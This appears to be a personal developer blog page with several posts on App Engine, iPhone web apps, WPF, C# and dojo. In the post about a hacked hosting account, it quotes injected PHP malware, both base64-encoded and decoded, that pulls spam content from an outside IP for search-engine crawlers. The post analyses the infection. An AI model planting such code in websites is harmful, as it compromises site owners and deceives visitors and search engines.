March 9, 2010

Google AppEngine + Google Docs + Some Python = Simple CMS

I was looking for a CMS that could run on the Google App Engine lately. As the free quotas are pretty high, a GAE powered CMS would make sense for small personal web pages that do not get too much traffic and have to run on a tiny budget. There are some CMSes (e.g. the App Engine Site Creator) but I didn't like them a lot. They are either too restricted or don't seem to have a large user base which makes their future uncertain. Also, as the GAE datastore is not a standard database, you have additional issues: How to backup? Possibility to migrate to another host? How to import or export of data?
My search ended without having found something I really liked...

But while searching, I had an idea: Why not just use a spreadsheet hosted on Google Docs as the base for a CMS? It has a couple of advantages:
  • Simple, everybody knows how to use a spreadsheet application
  • you get an online editor for free
  • Google Docs does versioning, so it's easy to roll back changes
  • Backup/restore and import/export is simple
The GAE app would only need to pull the data from the spreadsheet, apply some post-processing and output it. Not really much for the app to do, so I decided to write a little prove-of-concept application. I was using the following ingredients
  • Google App Engine SDK for Python
  • gdata-python-client, the Python version of the Google Data API to access the spreadsheet
  • Mako, a templating system for Python
  • and some code to glue these together
The app expects 2 tables to be present in the spreadsheet: pages and templates. Both need a content column, the templates table also needs a name column. That's it. It could look like this:

templates:


pages:


There are 2 templates defined, main and defs. The template main is the base template for the html output, defs holds some Mako style methods (more on whose later).

The pages table holds 3 pages. The first one is used as the root document, the others can be got via http://<host>/page/<id>. The content is treated as a Mako template, references to other templates are resolved by looking up the name in the templates table. Therefore the first two lines load methods from the defs template and make the page inherit from main:


<%namespace import="*" file="defs" />
<%inherit file="main"/>


The page content invokes 2 methods, image() and page(). The methods make use of global objects that are injected into the global Mako template context:

  • pageid, which is the id of the page currently rendered
  • page, representing the current page row, a dict with the column names as keys
  • db, the Database object. Row objects can be retrieved like this:
    db.<table>[<row_no>]['<col_name>']

Using the db object any table of the spreadsheet can be accessed. This way the system can be extended in a really easy way. In out little example this is used for the image() method. References to images are stored in a table called images and are referenced by an id:




<%def name="image(id)">
<img src="${db.images[id]['url']}" alt=""/>
</%def>


When rendering the root url, this now results in:


<html>
<head><title>Welcome!</title></head>
<body>
<h1>Welcome!</h1>
<p>

<p>Some text</p>
<img src="http://www.andreaskahler.com/me.png" alt=""/>
<br/>
<a href="page/2">link to page 2</a>

</p>
this is the footer
</body>
</html>

Not really a useful page, but you get the idea.

The python code for the whole thing looks like this:

#!/usr/bin/env python

import sys
import logging
import cgi
from google.appengine.ext import webapp
from google.appengine.ext.webapp import util
import gdata.spreadsheet.text_db

from mako.template import Template
from mako.lookup import TemplateLookup
from mako.runtime import Context
from StringIO import StringIO

email = 'your.google.account@gmail.com'
password = 'yourpasswd'
spreadsheet = 'spreadcms' #name of spreadsheet
table_pages = 'pages'
table_templates = 'templates'
col_name = 'name'
col_content = 'content'

class Db:
""" wrapper for the spreadsheet. places the tables into its __dict__ """
def __init__(self):
self.client = gdata.spreadsheet.text_db.DatabaseClient(username=email, password=password)
self.db = self.client.GetDatabases(name=spreadsheet)[0]
for table in self.db.GetTables():
name = table.entry.title.text
self.__dict__[name] = Table(self, name)

def getTableRecord(self, table, row_no):
return self.db.GetTables(name=table)[0].GetRecord(row_number=row_no).content


class Table:
""" wraps a spreadsheet table. access rows with their index (starting with 1) """
def __init__(self, db, table):
self.db = db
self.table = table

def __getitem__(self, index):
return self.db.getTableRecord(self.table, index)



class MainHandler(webapp.RequestHandler):
""" the main web request handler """
def connect(self):
try:
self.db = Db()
except gdata.spreadsheet.text_db.Error, err:
self.response.out.write(err)
return False
return True

def get(self):
if not self.connect():
return

# get page id, default to 1
pageid = 1
parts = self.request.path.strip('/').split('/')
if len(parts)==2 and parts[0]=="page":
try: pageid = int(parts[1])
except ValueError: pass

page = self.db.__dict__[table_pages][pageid]

mylookup = TemplateLookup(filesystem_checks=False)

#load all templates
i = 1
while True:
try:
template = self.db.__dict__[table_templates][i]
mylookup.put_template(template[col_name], Template(template[col_content], lookup=mylookup))
except:
break
i+=1

content = page[col_content] or ""

# invoke Mako
try:
t = Template(content, lookup=mylookup)
mylookup.put_template("_page"+str(pageid), t)
s = t.render(page=page, pageid=pageid, db=self.db)
self.response.out.write(s)
except Exception,e:
s = "<h1>Error</h1>"
s += "<pre>" + cgi.escape(str(e)) + "</pre>"
s += "<h1>Page</h1>"
s += "<pre>" + cgi.escape(page[col_content]) + "</pre>"
self.response.out.write(s)


def main():
application = webapp.WSGIApplication([('/', MainHandler),
('/page/[0-9]+', MainHandler)],
debug=True)
logging.getLogger().setLevel(logging.DEBUG)
#logging.getLogger().setLevel(logging.WARNING)
util.run_wsgi_app(application)


if __name__ == '__main__':
main()



Of course this is not production-ready code. A lot of error handling is missing and one needs a proper way to handle the gdata login captcha requests (I guess storing a valid token would work). There is also no caching implemented.

This of course is not intended to replace a full-blown CMS. But I guess if you would spend some time fixing these things, this could be suitable for small web sites, where all content is more or less static.

February 21, 2010

appify: Make Web Apps Look Like iPhone Apps

As you probably know, simple web pages can appear as 'normal' apps on your iPhone (or iPod touch) when you add them to your home screen using Safari's '+' menu. With some changes to the web site you can enhance the 'app feeling' even further. You can:
  • Give it a nice icon
  • Add a startup screen which appears when clicking the icon on your home screen
  • Hide the Safari address bar and the menu
All the details on what you have to do in your code can be found e.g. here.

And voilĂ , your web page looks like a normal iPhone app.


Left: My web page in Mobile Safari
Right: Same page through appify


But what if you cannot change the code (as it might not be your web site)? I wrote a small web app (I called it 'appify') which can do the trick for you. appify adds a new starting page to the web app of your choice, and adds all of the nice features I just listed. And after displaying that starting page, the browser is redirected to the actual web app.

You can appify a web app yourself. Or you simply try it on your iPhone with the appified mobile version of GMail.




Note: All of this is nice but has one drawback: When you click on a link on your appified web page, the iPhone will close the app and open the new page in Safari. This doesn't happen with AJAX web apps where you do not have 'normal' links. So appify might not be too useful for many web pages :-(. But it works great for e.g. GMail.
This does not only affect appify, but all web apps on the iPhone. If you know a way to avoid this, please let me know!

A small interesting details from the implementation: I have to give the user a chance to save the web site on the iPhone home screen BEFORE I redirect to the actual web app. I found an easy way to do this: In JavaScript you can detect if the app is in standalone mode (i.e. it is fullscreen without the address bar and menu):
if (window.navigator.standalone) {
// fullscreen mode
redirect();
}

So when we are not in fullscreen mode I do not redirect and the user can save the page to the home screen. When coming through the new home screen icon, Safari runs in standalone mode and the script redirects to the actual app.

November 24, 2009

My media temple hosted web site got hacked

Last night my web sites hosted at media temple got hacked. I got an email from them saying that they detected "suspicious activity". Good that they have something in place that is able to detect that, but this time it was not really necessary since the web sites were malfunctioning so I found out about the issue myself pretty quickly...

Turned out that all of my index.php and index.html files were changed. Also a .htaccess files was added next to those files (or replaced if there was one before).
There was a piece of code added to the files:


<!--ddgbsre_erd_sdd--><?php eval(base64_decode("aWYoc3RyaXBvcygkX1NF
UlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sICdnb29nbGUnKSBvciBzdHJpcG9zKCRfU0VS
VkVSWydIVFRQX1VTRVJfQUdFTlQnXSwgJ3lhaG9vJykgb3Igc3RyaXBvcygkX1NFUlZF
UlsnSFRUUF9VU0VSX0FHRU5UJ10sICdtc24nKSBvciBzdHJpcG9zKCRfU0VSVkVSWydI
VFRQX1VTRVJfQUdFTlQnXSwgJ2xpdmUnKSkNCnsNCiAgJHIgPSAnJzsNCiAgaWYoJGY9
QGZzb2Nrb3BlbignOTEuMjA3LjQuMTgnLDgwLCRlLCRlciwxMCkgYW5kIEBmcHV0cygk
ZiwgIkdFVCAvbGlua2l0L2luLnBocD9kb21haW49IiAuIHVybGVuY29kZSgkX1NFUlZF
UlsiU0VSVkVSX05BTUUiXSkgLiAiJnVzZXJhZ2VudD0iIC4gdXJsZW5jb2RlKCRfU0VS
VkVSWydIVFRQX1VTRVJfQUdFTlQnXSkgLiAiIEhUVFAvMS4wXHJcbkhvc3Q6IDkxLjIw
Ny40LjE4XHJcblxyXG4iKSkNCiAgd2hpbGUoICRsID0gZnJlYWQoJGYsIDEwMjQpKSAk
ciAuPSAkbDsNCiAgQGZjbG9zZSgkZik7DQogICRwPXN0cnBvcygkciwiXHJcblxyXG4i
KTsgZWNobyBzdWJzdHIoJHIsJHArNCk7DQp9"));


When you base64-decode this you get (indentation by me):


if(stripos($_SERVER['HTTP_USER_AGENT'], 'google') or
stripos($_SERVER['HTTP_USER_AGENT'], 'yahoo') or
stripos($_SERVER['HTTP_USER_AGENT'], 'msn') or
stripos($_SERVER['HTTP_USER_AGENT'], 'live'))
{
$r = '';
if($f=@fsockopen('91.207.4.18',80,$e,$er,10) and
@fputs($f, "GET /linkit/in.php?domain=" . urlencode($_SERVER["SERVER_NAME"]) .
"&useragent=" . urlencode($_SERVER['HTTP_USER_AGENT']) .
" HTTP/1.0\r\nHost: 91.207.4.18\r\n\r\n"))
while( $l = fread($f, 1024)) $r .= $l;
@fclose($f);
$p=strpos($r,"\r\n\r\n"); echo substr($r,$p+4);
}


I do not know much about PHP, but it seems that requests from search engine crawlers get special treatment and additional content is added to the page which is retrieved from the IP address 91.207.4.18. I guess the purpose is to add links to other sites to increase their page rank.
At least for my php sites this did not work however. The code addition invalided the files, presenting an error to the user for all requests.


Not sure how the hack was done. The media temple email suggested to change the ftp/ssh passwords. But I doubt that these passwords were compromised, because it seems that I am not the only one at media temple having the problem:
http://blog.tinyenormous.com/2009/11/17/site-hacked-media-temples-reaction/
Let's wait what media temple has to say about this.

Update 27-Nov-2009: Media temple published some information on how the hack was done. Seems that the attacker got hold of passwords which have been stored as clear text. Read more about this in the media temple FAQ for this issue. There is also a how-to for fixing hacked accounts.

November 18, 2009

WPF: How to set HorizontalAlignment in ListView/GridView

I spent quite some time figuring out how to set the HorizontalAlignment property for a cell in a WPF ListView/GridView. I wanted to set it to "Stretch" so that their content can nicely fill the whole cell, even when the columns are resized. It is not hard to do, it is just a few lines of XAML, but you have to know how.

<ListView>

<ListView.ItemContainerStyle>
<Style TargetType="ListViewItem">
<Setter Property="HorizontalContentAlignment" Value="Stretch" />
</Style>
</ListView.ItemContainerStyle>
...
</ListView>

Same is probably also true for VerticalAlignment, but I haven't tried it.

November 12, 2009

C#'s fixed statement doesn't work with delegates!?

I recently ran into an issue with using the C# fixed statement in conjunction with delegates. Let's look at a small example:

unsafe byte testA()
{
var array = new byte[1];
fixed (byte* p = array)
{
*p = 22;
}
return array[0];
}

This (rather ridiculous) method should return 22. In fact, it does.
But look at a small variation:


unsafe byte testB()
{
var array = new byte[1];
fixed (byte* p = array)
{
Action action = delegate { *p = 22; };
action();
}
return array[0];
}

This should do the same thing, the difference is that the fixed pointer p is accessed inside a delegate. The action is executed synchronously inside the fixed scope, so everything should be be fine.

But it turns out that it is NOT!
When you compile it (I'm using VS2008 SP1 and .NET 3.5 SP1) and look at the compiled version of the method, it looks like this (disassembled using Reflector):


private unsafe byte testB()
{
byte[] CS$0$0001;
byte[] array = new byte[1];
byte* p;
if (((CS$0$0001 = array) == null) || (CS$0$0001.Length == 0))
{
p = null;
}
else
{
p = CS$0$0001;
}
Action action = delegate {
p[0] = 0x16;
};
action();
p = null;
return array[0];
}

I don't know what this CS$0$0001 is about, but that's secondary.
The importing thing is: there's no fixed statement!!!
Without the fixed statement the array can be moved in memory any time, and therefore the unsafe code can fail!
It looks like that the C# compiler think it can optimize away the fixed statement. For some reason it doesn't take the usage of p in the delegate into account. Of course, one could execute the delegate outside the scope of the fixed statement. The compiler doesn't have a chance to prolong the lifetime of the pinned pointer until then. But this is not the case here.

This is not a theoretical problem. We ran into this in a real-world application.
Here's a small test program that illustrates that:


static unsafe byte test()
{
var array = new byte[1];

fixed (byte* p = array)
{
Action action = delegate { *p = 22; };
Thread.Sleep(10);
action();
}
return array[0];
}

static void Main()
{
for (int i = 0; i < 10000; i++)
{
if (22 != test())
{
Console.WriteLine("Run #{0} failed!", i);
}
}
}

This code runs our example code 10,000 times. I added a Sleep() call in my test method to make the problem more likely. On my machine the error occurs usually after around 3500 runs.

Michael Stanton, who helped my track down this issue, has more in-depth info about it.

If you looking for a fix, there is an easy work-around (if you really need both unsafe code and the delegate). You can pin your memory manually without using the fixed statement. Then you have full control over its life-time.
For our example this would be:

unsafe byte testFixed()
{
var array = new byte[1];

GCHandle handle = GCHandle.Alloc(array, GCHandleType.Pinned);
byte* p = (byte*)handle.AddrOfPinnedObject();
try
{
Action action = delegate { *p = 22; };
action();
}
finally
{
handle.Free();
}
return array[0];
}

November 2, 2009

Debugging event subscriptions in C#/.NET

Recently I had to debug a problem around events. I wanted to find out which objects are subscribing to a certain event and when. As there is no code in the class that handles the event subscription, you cannot set a breakpoint there. Too bad...

But there's a simple way out of this. Let's assume you have a class like this:


class Test : INotifyPropertyChanged
{

public event PropertyChangedEventHandler PropertyChanged = delegate { };

void FirePropertyChanged(string property)
{
PropertyChanged(this, new PropertyChangedEventArgs(property));
}
}


You can add a "custom event implementation" that forwards all event subscriptions and un-subscriptions to a private event, similar to a property that uses a private field to store its value:


class Test : INotifyPropertyChanged
{

private event PropertyChangedEventHandler propertyChangedImpl = delegate { };
public event PropertyChangedEventHandler PropertyChanged
{
add { this.propertyChangedImpl += value; }
remove { this.propertyChangedImpl -= value; }
}

void FirePropertyChanged(string property)
{
this.propertyChangedImpl(this, new PropertyChangedEventArgs(property));
}
}


The you can simply set the breakpoint to the add method and see exactly where and when these event registrations happen.

September 14, 2009

Managing the browser history for AJAX apps with dojo

AJAX web application (or any web app using client side scripting to modify the page) suffer from the "Back button problem": Users are used to hit the browser back button to return to a previous page, but there are no "pages" to go to in a AJAX app. Instead users will be taken to the page they visited before navigating to your web app - and probably lose all the state changes done in the app.

Fortunately there are some libraries out there that come to the rescue. I'll present a very simple example using dojo, which should get you started quickly.

For the example I chose a simple javascript app which converts inches into centimeters. For every new conversion there is a new entry stored in the browser history. Without history support the code looks like this:


<form>
<input id="idInches" type="text"></input> inches
<button onclick="onConvert(); return false;">Convert</button>
</form>
<div id="idOutput"></div>

<script language="javascript">
function onConvert()
{
var input = document.getElementById('idInches').value;
convert(input);
}

function convert(input)
{
var cm = 2.54 * input;
var msg = (input==null || input=="") ?
"" : (input + " inches = " + cm + " centimeters");
document.getElementById("idOutput").innerHTML = msg;
}
</script>

Nothing unusual with that.
To enable the browser history we first add a function to restore a previous state. In our case we just restore the value of the input box and recalculate the result.


function restore(input)
{
document.getElementById('idInches').value = input;
convert(input);
}

Next we define a class which can store our state and restore it. It implements functions/properties that dojo will use:


function HistoryState(state)
{
this.state = state;
this.restoreState = function() {
restore(this.state);
};
// back, forward and changeUrl are needed by dojo
this.back = this.restoreState;
this.forward = this.restoreState;
this.changeUrl = true;
}

Then we add dojo and dojo.back, which includes the functionality for managing the browser history. First the dojo include (see details here):


<script type="text/javascript" src="dojo.js"
djConfig="preventBackButtonFix: false">
</script>

Load and initialize dojo.back:


dojo.require("dojo.back");
dojo.back.init();
dojo.back.setInitialState(new HistoryState(""));

The last line of this sets the state the page initially has. In our example the input text field is empty initially, so we just pass an empty string.

Now the only thing missing is to tell dojo when we reached a new state. We do this every time the convert button is pressed, so we add the following to onConvert:


dojo.back.addToHistory(new HistoryState(input));


That's it! See the example live here. Convert a few different values and then try the back/forward buttons of you browser.

Note: When trying yourself, always use a web server! Some things do not work when opening the file directly from the file system.

Note 2: You do not need all of dojo if you only want dojo.back. At the time of writing (dojo 1.3.2) only dojo.js, back.js and resources/iframe_history.html are needed.